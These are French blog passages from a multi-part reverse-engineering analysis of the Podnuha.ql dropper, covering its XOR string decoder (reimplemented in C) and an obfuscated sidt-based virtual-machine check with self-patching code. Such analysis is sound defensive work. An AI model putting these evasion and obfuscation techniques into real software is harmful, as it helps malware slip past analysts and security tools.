Ca m'a aussi permis de découvrir quelques astuces assembleur comme la suite neg / sbb / inc.

En gros :
neg reg
sbb reg,reg
inc reg

correspond à
(reg==0)?reg=1;reg=0

et
neg reg
sbb reg,reg
neg reg

correspond à
(reg==0)?reg=0;reg=1


Un petit dropper sympathique à analyser :)

Classé dans : Non classé - Mots clés : malware

Analyse du malware Podnuha.ql : troisième partie

Rédigé par devloop - -

Le précédent article nous avait ammené à étudier l'avant dernière fonction dans le WinMain qui était utilisée pour détecter les environnements mutualisés.
Dans le présent article et les suivants, nous édudierons du code se situant ou étant appelé depuis la toute dernière fonction dont nous avions retrouvé l'adresse dans le premier article (0x4023b0).

Dès l'entrée dans cette fonction, le codeur du malware nous fait à nouveau poireauter en utilisant les fonctions CreateEventA/WaitForSingleObject/CloseHandle avec un timeout de 12 secondes... sans aucun objectif !
On entre ensuite dans une fonction où l'on remarque tout de suite des appels répétés à GetProcAddress après un appel à GetModuleHandleA.
Il y a aussi beaucoup d'appels à différentes fonctions toutes écrites sous le même profil.

Pour donner un autre ordre d'idée, quand on entre dans la fonction contenant tous ces GetProcAddress (elle se trouve à l'adresse 401000, début de la section .text) on rencontre l'appel suivant :
401003 !   sub         esp, 1d8h
401009 !   push        50h
40100b !   lea         eax, [ebp-178h]
401011 !   push        eax
401012 !   call        sub_402859
401017 !   add         esp, 8
40101a !   lea         ecx, [ebp-178h]
401020 !   push        ecx
401021 !   call        dword ptr [KERNEL32.DLL:GetModuleHandleA]


sub_402859 est appellée avec deux arguments : une adresse mémoire locale où va être stocké un résultat, et la valeur hexadécimale 50h.
Le code assembleur de sub_402859 est le suivant :
402859 !
...... ! ;-----------------------
...... ! ;  S U B R O U T I N E
...... ! ;-----------------------
...... ! sub_402859:           ;xref c401012
...... !   push        ebp
40285a !   mov         ebp, esp
40285c !   sub         esp, 8 ; reserve deux variables locales type int
40285f ! ; var2 = 12
...... !   mov         dword ptr [ebp-8], 0ch
402866 !   mov         eax, [ebp-8]
402869 !   xor         ecx, ecx
40286b ! ; récupère l'octet à l'adresse 0x41daa4 + 12
...... !   mov         cl, [eax+data_41daa4]
402871 !   mov         [ebp-4], ecx
402874 !   mov         edx, [ebp-8]
402877 !   cmp         edx, [ebp+0ch]
40287a !   jng         loc_402882
40287c ! ; arg2 soit 50h
...... !   mov         eax, [ebp+0ch]
40287f !   mov         [ebp-8], eax
402882 !
...... ! loc_402882:                     ;xref j40287a
...... !   mov         ecx, [ebp-4]
402885 ! ; var1
...... !   push        ecx
402886 !   mov         edx, [ebp-8]
402889 ! ; var2 = 12
...... !   push        edx
40288a !   mov         eax, [ebp+8]
40288d ! ; buffer de sortie
...... !   push        eax
40288e ! ; pointe vers une chaîne de caractères prédéfinie
...... !   push        data_41daa4
402893 !   call        sub_40250e
402898 !   add         esp, 10h
40289b ! ; la valeur de retour est le buffer de sortie passé dans arg1
...... !   mov         eax, [ebp+8]
40289e !   mov         esp, ebp
4028a0 !   pop         ebp
4028a1 !   ret


Pour résumer cette fonction en appelle une autre (sub_40250e) dont le prototype est le suivant :

int * sub_40250e(int * data_in, int * data_out, 12, var1)


var1 a pour valeur l'octet à l'adresse [0x41daa4 + 12] à moins que cette valeur soit supérieure à 0x50 dans ce cas elle est remplacée par 0x50.
A l'adresse data_41daa4 (passée en argument), on trouve la suite d'octets suivante :

ae 03 2d 9e 3c b6 80 16 43 aa eb b4 3c 00 00 00


L'octet à l'adresse [0x41daa4 + 12] est donc 3c, le dernier octet présent.
Puisque l'on connait maintenant tous les arguments, étudions la fonction sub_40250e qui est appellée 23 fois (!!) à divers endroit du code.
4025e0 !
...... ! ;-----------------------
...... ! ;  S U B R O U T I N E
...... ! ;-----------------------
...... ! sub_40250e:
...... !   push        ebp
4025e1 !   mov         ebp, esp
4025e3 !   sub         esp, 0ch ; réserve 3 variables locales type int
4025e6 !   push        ebx ; sauvegarde des registres
4025e7 !   push        esi
4025e8 !   push        edi
4025e9 ! ; 4ème argument soit le dernier (et 12ème) caractère de data_41daa4 = 3c ou 50h
...... !   mov         eax, [ebp+14h]
4025ec !   mov         [ebp-0ch], eax ; var1 = 0x3c ou 0x50
4025ef ! ; [ebp-8] = compteur initialisé à 0
...... !   mov         dword ptr [ebp-8], 0
4025f6 !   jmp         loc_402601
4025f8 !
...... ! loc_4025f8:                     ;xref j402648
...... !   mov         ecx, [ebp-8]
4025fb !   add         ecx, 1 ; incrémente le compteur, i++
4025fe !   mov         [ebp-8], ecx
402601 !
...... ! loc_402601:                     ;xref j4025f6
...... !   mov         edx, [ebp-8]
402604 ! ; compare le compteur à 12 soit la longueur de data_41daa4 en octets
...... !   cmp         edx, [ebp+10h]
402607 !   jnl         loc_40264a ; sort de la boucle si compteur >= len(data_41daa4)
402609 !   push        ecx
40260a ! ; var1
...... !   mov         eax, [ebp-0ch]
40260d !   mov         ecx, 11h
402612 !   add         eax, ecx
402614 !   add         ecx, 448h
40261a !   imul        eax, ecx
40261d !   and         eax, 1ffffh
402622 !   mov         [ebp-0ch], eax
402625 !   pop         ecx
402626 !   mov         eax, [ebp-0ch]
402629 !   and         eax, 0ffh
40262e !   mov         [ebp-4], al
...... ! ; ecx = [i + 0x41daa4]
402631 !   mov         ecx, [ebp+8]
402634 !   add         ecx, [ebp-8]
402637 ! ; edx = caractère encodé
...... !   movsx       edx, byte ptr [ecx]
40263a !   movsx       eax, byte ptr [ebp-4]
40263e ! ; edx = caractere decodé
...... !   xor         edx, eax
402640 !   mov         ecx, [ebp+0ch]
402643 !   add         ecx, [ebp-8]
402646 !   mov         [ecx], dl
402648 !   jmp         loc_4025f8
40264a !
...... ! loc_40264a:                     ;xref j402607
...... !   mov         edx, [ebp+0ch]
40264d !   add         edx, [ebp+10h]
402650 ! ; place un caractère terminal NULL
...... !   mov         byte ptr [edx], 0
402653 !   pop         edi
402654 !   pop         esi
402655 !   pop         ebx
402656 !   mov         esp, ebp
402658 !   pop         ebp
402659 !   ret

Au début du code on remarque deux initialisations de variables locales. La première est un compteur initialisé à 0. La seconde variable locale se voit affecter le dernier caractère de la chaine de caractère encodée qui a été passée en argument.
On remarque ensuite une boucle où le compteur est incrémenté de 1 à chaque passage jusqu'à valoir 12 soit la longueur de la chaine de caractère à décoder.

Des calculs sont ensuite effectués sur la seconde variable locale :
  1. on lui ajoute 0x11
  2. on la multiplue par (0x11 + 0x448h)
  3. on effectue un AND avec le masque 0x000000ff pour obtenir l'octet de poids faible

Ce n'est alors qu'avec ce résultat que le i-ème octet de la chaine de caractère est xor-é pour obtenir le vrai caractère dissimulé.

On pourrait réécrire cette fonction en C de cette façon :
char * decrypt(char *in, char *out, unsigned int len, int c)
{
  unsigned int i;
  int x = c;

  for (i=0;i<len;i++)
  {
    x += 0x11;
    x *= (0x448 + 0x11);
    x &= 0x000000ff;
    out[i] = in[i] ^ (char)x;
  }
  return out;
}

Où l'argument c qui est le dernièr caractère de la chaine est utilisé comme vecteur d'initialisation pour le déchiffrement.

J'ai préféré écrire un programme plus facile d'utilisation qui prend pour argument le chaine encodée (suite de caractères hexa) et retourne la chaine décryptée :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int char_to_byte(int c)
{
  if(isxdigit(c))
  {
    if(c>90)
    {
      c -= 32;
    }
    else if(c<58)
    {
      c -= 48;
    }
    if(c>9)
    {
      c -= 55;
    }
    return c;
  }
  return -1;
}

int main(int argc,char *argv[])
{
  int len;
  int i;
  int ch, cl;
  char *out;
  int x;

  if(argc != 2)
  {
    printf("Usage: %s <hex_string>\n", argv[0]);
    return 1;
  }

  len = strlen(argv[1]);
  if(len % 2 == 1)
  {
    printf("Invalid input string\n");
    return 1;
  }
  out = (char*)malloc(len/2 + 1);
  for(i=0;i<len;i+=2)
  {
    ch = char_to_byte(argv[1][i]);
    if(ch == -1)
    {
      printf("Invalid input string\n");
      return 1;
    }
    ch = ch << 4;

    cl = char_to_byte(argv[1][i+1]);
    if(cl == -1)
    {
      printf("Invalid input string\n");
      return 1;
    }

    x = ch | cl;
    out[i/2] = x;
  }
  out[i/2+1] = 0;
  len = len/2;
  for (i=0;i<len;i++)
  {
    x += 0x11;
    x *= (0x448 + 0x11);
    x &= 0x000000ff;
    out[i] = out[i] ^ (char)x;
  }
  out[i-1] = 0;
  printf("%s.\n",out);
  free(out);

  return 0;
}

On l'appelle avec la suite d'octets encodés :

./decode_hexa ae032d9e3cb6801643aaebb43c
kernel32.dll.


La mystérieuse chaine était donc "kernel32.dll" :)

Ce qui est étonnant dans le code du malware c'est que l'auteur a défini pour chaque chaine de caractère une fonction chargée de passer comme argument la longueur de la chaine encodée, son dernier caractère et l'adresse de la chaine elle même. On trouve ainsi dans la même zone les 23 fonctions de décodage correspondant aux 23 chaines de caractères que le programme décode durant son exécution !
Il aurait été bien plus efficace d'initialiser un tableau et de créer une fonction décodant directement toutes les chaines utilisées...

Les chaines de caractères encodées dans le programme se révèlent être les suivantes :
kernel32.dll, dat, .exe, .dll, %d-%d, teatimer.exe, \???*.dll, \???*.exe, SetFileTime, CreateProcessA, TerminateProcess, WriteFile, MoveFileExA, CreateToolhelp32Snapshot, Process32First, Process32Next, OpenProcess, LoadLibraryA, GetSystemDirectoryA, GetModuleFileNameA, GetTickCount, CreateFileA, CloseHandle et "..".

On remarque parmi ces chaines certaines fonctions déjà importées "proprement" par le malware qui ont été dissimulées pour être réutilisées à d'autres endroits du code.
La présence de "teatimer.exe" et des fonctions destinées à gérer les processus laisse supposer que le malware va tenter de désactiver TeaTimer, un logiciel "qui surveille sans cesse les processus qui sont appelés/lancés. Il détecte immédiatement les processus connus pour être malveillants qui veulent démarrer et les arrête, en vous donnant quelques options sur la façon de traiter ces processus à l'avenir."

Enfin on trouve des fonctions destinées à créer des fichiers mais toujours pas de fonctions réseau. Le malware correspondrait donc bien à un "dropper" qui se charge de déposer un fichier sur le disque dur.

Mais revenons à nos moutons. Au tout début on a vu qu'après avoir appelé la fonction chargée de décoder "kernel32.dll", le programme récupère son handle avec GetModuleHandle.
Il s'ensuit des appels aux différentes fonctions de décodage et à nombre égal des appels à GetProcAddress pour récupérer les adresses des fonctions cachées. Adresses qui sont stockées en mémoire à partir de l'adresse 420044.
On sort ensuite de cette fonction et l'adresse obtenue pour la fonction GetTickCount est vérifiée : si elle vaut 0 (NULL) alors le programme quitte sinon (résolution de noms de fonction ok) il poursuit son fonctionnement dont nous verrons une partie dans le prochain article (terminaison de teatimer et peut-être plus encore).

Classé dans : Non classé - Mots clés : malware

Analyse du malware Podnuha.ql : seconde partie

Rédigé par devloop - -

Dans ce second épisode nous allons nous pencher sur le rôle de la fonction "antifuck" du malware. Cette fonction est l'avant dernière fonction appellée dans le WinMain, juste avant la fonction dont l'adresse était obfusquée.

D'entrée de jeux, la fonction répète un schéma qui nous est maintenant classique : deux GetTickCount, séparés par un Sleep() de 6 secondes (6001ms pour être exact).
Le délai entre ces deux instructions est calculé par soustraction entre les deux prises de temps et est comparé à différentes possibilitées (inférieur à 5s ? supérieur à 18s ? inférieur à 1s ?)
En fonction des résultats de ces tests, une valeur différente est définie pour une variable locale : 17, 5, 47 ou 1. La valeur obtenue normalement étant 5.

Passé ce test, on entre dans une fonction ne prenant aucun argument. Cette fonction commence par effectuer différentes modifications sur une zone mémoire de 9 octets située dans la section .data.
Cette modification n'a rien de régulier : aucune boucle n'est présente, tout se fait au cas par cas.
Ainsi on part de la suite d'octets suivante : 0E 02 0D 00 03 00 00 C2 00
à laquelle on applique différentes modifications (dans l'ordre) :
  1. ajouter 1 au premier octet
  2. retirer 1 au second octet
  3. mettre à zéro le 5ème octet
  4. ajouter 1 au 8ème octet
  5. écraser les octets du 4ème au 7ème inclus par la valeur 0x0042004C (qui correspond à une adresse mémoire située dans .data)

on obtient finalement 9 nouveaux octets :

0F 01 0D 4C 00 42 00 C3 00



On entre ensuite dans une fonction particulière que voici :
40129b !   push        ebp
40129c !   mov         ebp, esp
40129e !   push        ecx
40129f !   push        ebx
4012a0 !   push        esi
4012a1 !   push        edi
4012a2 !   push        ecx
4012a3 !   pop         ecx
4012a4 !   nop
4012a5 !   nop
4012a6 !   call        sub_401284
4012ab !   mov         [ebp-4], eax
4012ae !   push        ecx
4012af !   push        ebx
4012b0 !   push        edx
4012b1 !   mov         edx, ecx
4012b3 !   nop
4012b4 !   nop
4012b5 !   inc         ecx
4012b6 !   pop         edx
4012b7 !   pop         ebx
4012b8 !   pop         ecx
4012b9 !   nop
4012ba !   mov         eax, [ebp-4]
4012bd !   pop         edi
4012be !   pop         esi
4012bf !   pop         ebx
4012c0 !   mov         esp, ebp
4012c2 !   pop         ebp
4012c3 !   ret

Ce qui la rend si particulière c'est la présence d'instructions inutiles (nop et modifications de registres qui sont restaurés juste après).
On note à l'adresse 4012a6 l'appel à la fonction suivante :
401284 !   push        ebp
401285 !   mov         ebp, esp
401287 !   push        ecx
401288 !   push        ebx
401289 !   push        esi
40128a !   push        edi
40128b !   mov         eax, [ebp+4]
40128e !   mov         [ebp-4], eax
401291 !   mov         eax, [ebp-4]
401294 !   pop         edi
401295 !   pop         esi
401296 !   pop         ebx
401297 !   mov         esp, ebp
401299 !   pop         ebp
40129a !   ret

Cette fonction retourne comme valeur le contenu du [ebp+4]. Or les habitués du langage assembleur savent que les arguments placés sur la pile ne commence qu'à [ebp+8]. A quoi correspond [ebp+4] ? Tout simplement à l'adresse de retour (l'adresse où sauter en sortant de la fonction) qui est 4012ab.
Une fois que l'on a "remonté" ces deux fonctions et que l'on se retrouve à nouveau dans la fonction antifuck, cette adresse est sauvegardée dans une variable globale.

Finalement le malware appelle la fonction VirtualProtect avec les arguments suivants :
  • l'adresse 0x004012ab récupérée précédemment.
  • la valeur 9
  • la valeur 0x40
  • l'adresse d'une variable locale.

Ce qui peut se traduire en "modifier les paramêtres d'accès des 9 octets se trouvant à l'adresse 0x004012ab pour qu'ils soit readable, writable et executable(flag 0x40)".
On saute ensuite à l'adresse 0x00402d40 que je ne prendrais pas la peine de détailler mais qui est pourrie de junk-code et de sauts sur des adresses relatives (du genre "jmp dword ptr [edx*4+mem]") déstinés à abuser le désassembleur.
Cette fonction volontairement obscurcie se charge de recopier les neuf octets modifiés tout à l'heure à l'adresse 0x004012ab qui a été déprotégée par VirtualProtect.
En fin de compte, la suite de push et de nop que l'on a croisé plus haut prend tout son sens : ils servaient à "garder" de la place pour placer des instructions cachées.

Et à quoi correspond la suite d'octets 0F 01 0D 4C 00 42 00 C3 00 en assembleur ? Voici la réponse :
sidt fword ptr ds:[0042004C]
retn

Alors que ces instructions ont été placées en mémoire, on saute dessus puis on retourne aux instructions suivantes avant de revenir à antifuck :
40136b !   xor         ecx, ecx
40136d !   mov         cl, [data_420051]
401373 !   xor         eax, eax
401375 !   cmp         ecx, 0d0h
40137b !   setg        al
...
401384 !   ret

A quoi tout ça rime ? Et bien le malware récupère l'adresse de la table de description des interruptions (IDT) par le biais de l'instruction sidt. Il stocke le résultat obtenu (un fword, soit 6 octets, à l'adresse mémoire 0x0042004C)
Les 6 octets retournés par sidt correspondant à la taille de la table de description des interruptions (sur deux octets) et son adresse (sur 4 octets).
Le dernier octet correspondant à l'octet de poid fort de l'adresse de l'IDT est placé dans ecx et est ensuite comparé à la valeur hexadécimale 0xD0. Si c'est supérieur on retourne 1, sinon on retourne 0.

Afin de mettre les choses au point, j'ai écrit le programme suivant (à compiler avec FASM) qui affiche l'adresse de l'IDT :
format PE console
entry start

include 'macro\import32.inc'

section '.text' code readable executable

  start:

  sidt fword [val]
  lea eax, [val+2]
  mov eax, [eax]
  push eax
  push fmt_str
  call [printf]
  add esp, 8

  push  0
  call  [ExitProcess]

section '.data' data readable writeable
  val df ?
  fmt_str db "%p", 10, 0

section '.idata' import data readable writeable

  library kernel, 'KERNEL32.DLL',\
    msvcrt, 'MSVCRT.DLL'

  import kernel,\
   ExitProcess,'ExitProcess'

  import msvcrt, \
   printf, 'printf'

Quand je l'exécute directement depuis mon Win7 j'obtiens par exemple 807CC020 ou 80B95400. En revanche depuis le Windows XP virtualisé dans VirtualBox, l'adresse obtenue est F8C06BD0.
Si on recherche sur Google, on trouve quelques références sur des forums chinois à cette comparaison destinée à détecter la présence d'un environnement virtualisé (VMWare, VirtualBox...)

Si le malware détecte l'entourloupe, il quitte rapidement le programme. Sinon il tente d'allouer avec VirtualAlloc une quarantaine de Mo (48 000 320 octets pour être précis). S'il échoue, le programme quitte sinon il libère cette mémoire, ajoute 1 à la variable locale vue au tout début de l'article (qui passe donc à 6) et le programme suit son cours (on quitte proprement antifuck avec la valeur de retour 6 pour retourner au WinMain).
Je n'ai pas encore déterminé à quoi correspondait ce test mémoire... peut-être le programme va-t-il faire une utilisation importante de la mémoire à venir et préfère vérifier tout de suite les capacités du système sur lequel il se trouve...

Pour conclure cette fonction antifuck a pour unique but de détecter la présence d'une machine virtuelle mais le créateur du malware a pris soin de dissimuler cet objectif par différents moyens (réécriture de code, junk-code etc).

Dans le prochain article nous verrons comment le malware déchiffre des chaines de caratères et importe des fonctions qui ne sont pas présentes dans la table des imports.

Classé dans : Non classé - Mots clés : malware